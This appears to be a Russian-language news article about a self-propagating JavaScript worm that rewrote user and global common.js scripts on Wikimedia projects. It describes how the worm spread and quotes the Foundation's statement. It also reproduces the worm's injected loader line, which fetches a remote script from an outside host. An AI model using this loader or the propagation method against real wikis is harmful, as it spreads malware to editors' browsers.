Фонд Викимедиа пострадал от инцидента, связанного с безопасностью, после того, как саморазмножающийся JavaScript-червь начал изменять пользовательские скрипты и повреждать страницы Meta-Wiki.
Редакторы впервые сообщили об инциденте на странице Village Pump Википедии, где пользователи заметили большое количество автоматических правок, добавляющих скрытые скрипты и вандализм на случайных страницах.
Инженеры Wikimedia временно ограничили редактирование во всех проектах, пока они расследовали атаку и начали отменять изменения.
Червь JavaScript
Согласно системе отслеживания проблем Phabricator Wikimedia, инцидент, по-видимому, начался после запуска вредоносного скрипта, размещенного в русской Википедии, в результате чего глобальный скрипт JavaScript в Википедии был изменен с помощью вредоносного кода.
Вредоносный скрипт был сохранен в User:Ololoshka562/test.js, впервые загружен в марте 2024 года и, предположительно, связан со скриптами, использовавшимися в предыдущих атаках на вики-проекты.
Судя по истории правок, скрипт, по всей видимости, был впервые запущен сегодня утром с учетной записи сотрудника Wikimedia во время тестирования функциональности пользовательских скриптов. В настоящее время неизвестно, был ли скрипт запущен намеренно, случайно загружен во время тестирования или запущен с взломанной учетной записи.
Анализ архивного скрипта test.js показывает, что он саморазмножается, вставляя вредоносные JavaScript-загрузчики как в common.js зарегистрированного пользователя, так и в глобальный MediaWiki:Common.js Википедии, который используется всеми.
MediaWiki допускает как глобальные, так и пользовательские файлы JavaScript, такие как MediaWiki:Common.js и User:/common.js, которые запускаются в браузерах редакторов для настройки интерфейса вики.
После того, как исходный скрипт test.js был загружен в браузере зарегистрированного редактора, он попытался изменить два скрипта, используя сессию и привилегии этого редактора:
- он пытался перезаписать User:/common.js загрузчиком, который автоматически загружал бы скрипт test.js всякий раз, когда этот пользователь просматривал вики, будучи авторизованным.
- если у пользователя были соответствующие привилегии, он также редактировал бы глобальный скрипт MediaWiki:Common.js, чтобы он запускался для каждого редактора, использующего глобальный скрипт.
Если глобальный скрипт был успешно изменен, любой, кто его загружал, автоматически запускал загрузчик, который затем повторял те же шаги, включая заражение собственного common.js, как показано ниже.
Скрипт также включает функцию редактирования случайной страницы путем запроса через вики-команду Special:Random, а затем редактирования страницы для вставки изображения и следующего скрытого загрузчика JavaScript.
[[File:Woodpecker10.jpg|5000px]]
[[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]]
Согласно анализу, в ходе инцидента с безопасностью было изменено примерно 3996 страниц, а файлы common.js около 85 пользователей были заменены. Неизвестно, сколько страниц было удалено.
По мере распространения червя инженеры временно ограничили редактирование во всех проектах, одновременно отменяя вредоносные изменения и удаляя ссылки на вставленные скрипты.
Во время очистки сотрудники Wikimedia Foundation также откатили common.js для многих пользователей на всей платформе. Эти измененные страницы теперь больше не отображаются в истории изменений.
На момент написания статьи вставленный код был удален, и редактирование снова стало возможным.
Wikimedia Foundation поделилась следующим заявлением, в котором говорится, что код был активен всего 23 минуты, в течение которых он изменил и удалил только контент на Meta-Wiki, который с тех пор был восстановлен.
«Сегодня сотрудники Wikimedia Foundation проводили проверку безопасности кода, написанного пользователями Википедии. В ходе этой проверки мы активировали неактивный код, который был быстро идентифицирован как вредоносный. В качестве меры предосторожности мы временно отключили возможность редактирования в Википедии и других проектах Wikimedia, пока удаляли вредоносный код и подтверждали, что сайт безопасен для пользователей. Проблема безопасности, лежащая в основе этого сбоя, теперь решена.
Код был активен в течение 23 минут. За это время он изменил и удалил контент на Meta-Wiki, который в настоящее время восстанавливается, но не нанес существенного ущерба. У нас нет доказательств того, что Википедия подвергалась атаке или что в ходе этого инцидента была нарушена конфиденциальность личной информации. Мы разрабатываем дополнительные меры безопасности, чтобы свести к минимуму риск повторения подобных инцидентов. Обновления по-прежнему доступны в публичном журнале инцидентов Фонда».